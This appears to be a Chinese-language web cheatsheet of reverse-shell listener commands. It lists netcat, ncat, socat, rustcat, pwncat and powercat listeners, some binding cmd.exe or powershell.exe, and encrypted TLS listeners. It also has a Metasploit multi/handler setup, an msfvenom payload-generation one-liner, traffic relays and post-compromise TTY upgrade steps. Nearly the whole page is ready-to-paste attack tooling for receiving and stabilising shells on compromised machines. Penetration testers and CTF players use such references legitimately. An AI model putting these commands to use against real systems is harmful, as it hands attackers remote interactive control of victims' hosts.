Listener Cheatsheet

精选 30+ 条监听器命令,涵盖 Netcat、Socat、Pwncat、Metasploit 等多种工具与高级技巧。

基础监听器

Netcat 监听 (最常用)
nc -lvnp {PORT}
已复制到剪贴板
Ncat 监听 (增强版)
ncat -lvnp {PORT}
已复制到剪贴板
rlwrap + nc (命令历史)
rlwrap -cAr nc -lvnp {PORT}
已复制到剪贴板

加密监听器

Ncat TLS/SSL 加密监听
ncat --ssl -lvnp {PORT}
已复制到剪贴板
OpenSSL TLS 监听
openssl s_server -quiet -key {KEY}.pem -cert {CERT}.pem -port {PORT}
已复制到剪贴板
Socat TLS 监听
socat openssl-listen:{PORT},cert={CERT}.pem,key={KEY}.pem,verify=0 fork
已复制到剪贴板

高级监听器

Rustcat 监听
rcat -lp {PORT}
已复制到剪贴板
Rustcat + 命令历史记录
rcat -lHp {PORT}
已复制到剪贴板
Pwncat (自动 TTY 升级)
python3 -m pwncat -lp {PORT}
已复制到剪贴板
Socat 基础监听
socat -d -d TCP-LISTEN:{PORT} STDOUT
已复制到剪贴板
Socat TTY 监听 (完整终端)
socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:{PORT}
已复制到剪贴板

PowerShell 监听器

Powercat 监听
powercat -l -p {PORT}
已复制到剪贴板
Powercat + cmd.exe
powercat -l -p {PORT} -e cmd.exe
已复制到剪贴板
Powercat + PowerShell
powercat -l -p {PORT} -e powershell.exe
已复制到剪贴板

Metasploit 监听器

MSFconsole 快速启动
msfconsole -q -x "use multi/handler; set payload {PAYLOAD}; set lhost {IP}; set lport {PORT}; exploit"
已复制到剪贴板
MSFconsole 交互式设置
msfconsole use multi/handler set PAYLOAD {PAYLOAD} set LHOST {IP} set LPORT {PORT} exploit
已复制到剪贴板
生成 Payload + 启动监听
msfvenom -p {PAYLOAD} LHOST={IP} LPORT={PORT} -f raw > payload.bin && msfconsole -q -x "use multi/handler; set payload {PAYLOAD}; set lhost {IP}; set lport {PORT}; exploit"
已复制到剪贴板

Windows 监听器

ConPty (Windows 伪终端)
stty raw -echo; (stty size; cat) | nc -lvnp {PORT}
已复制到剪贴板
Windows Netcat 64位
nc64.exe -lvnp {PORT}
已复制到剪贴板
Windows Ncat
ncat.exe -lvnp {PORT}
已复制到剪贴板

特殊场景监听器

端口转发监听
nc -lvp {PORT1} 0<backpipe | nc -lvp {PORT2} 1>backpipe
已复制到剪贴板
双向流量中继
mkfifo backpipe; nc -lvnp {PORT} 0<backpipe | tee /tmp/out | nc {TARGET} {TARGET_PORT} > backpipe
已复制到剪贴板
Socat 端口转发
socat TCP-LISTEN:{PORT1},fork TCP:{TARGET}:{PORT2}
已复制到剪贴板
带日志的监听器
nc -lvnp {PORT} --sh-exec "cat - >&2; echo "[\$(date)] Connection received" >&2"
已复制到剪贴板

监听器技巧与优化

设置 TTY 大小 (获取 Shell 后)
stty -icanon -echo row 40 col 160
已复制到剪贴板
设置终端类型 (支持颜色)
export TERM=xterm-256color
已复制到剪贴板
Python TTY 升级 (获取 Shell 后)
python3 -c "import pty; pty.spawn('/bin/bash')"
已复制到剪贴板
Script TTY 升级 (获取 Shell 后)
script /dev/null
已复制到剪贴板
完整 TTY 升级流程
Ctrl+Z -> stty raw -echo -> fg -> Enter
已复制到剪贴板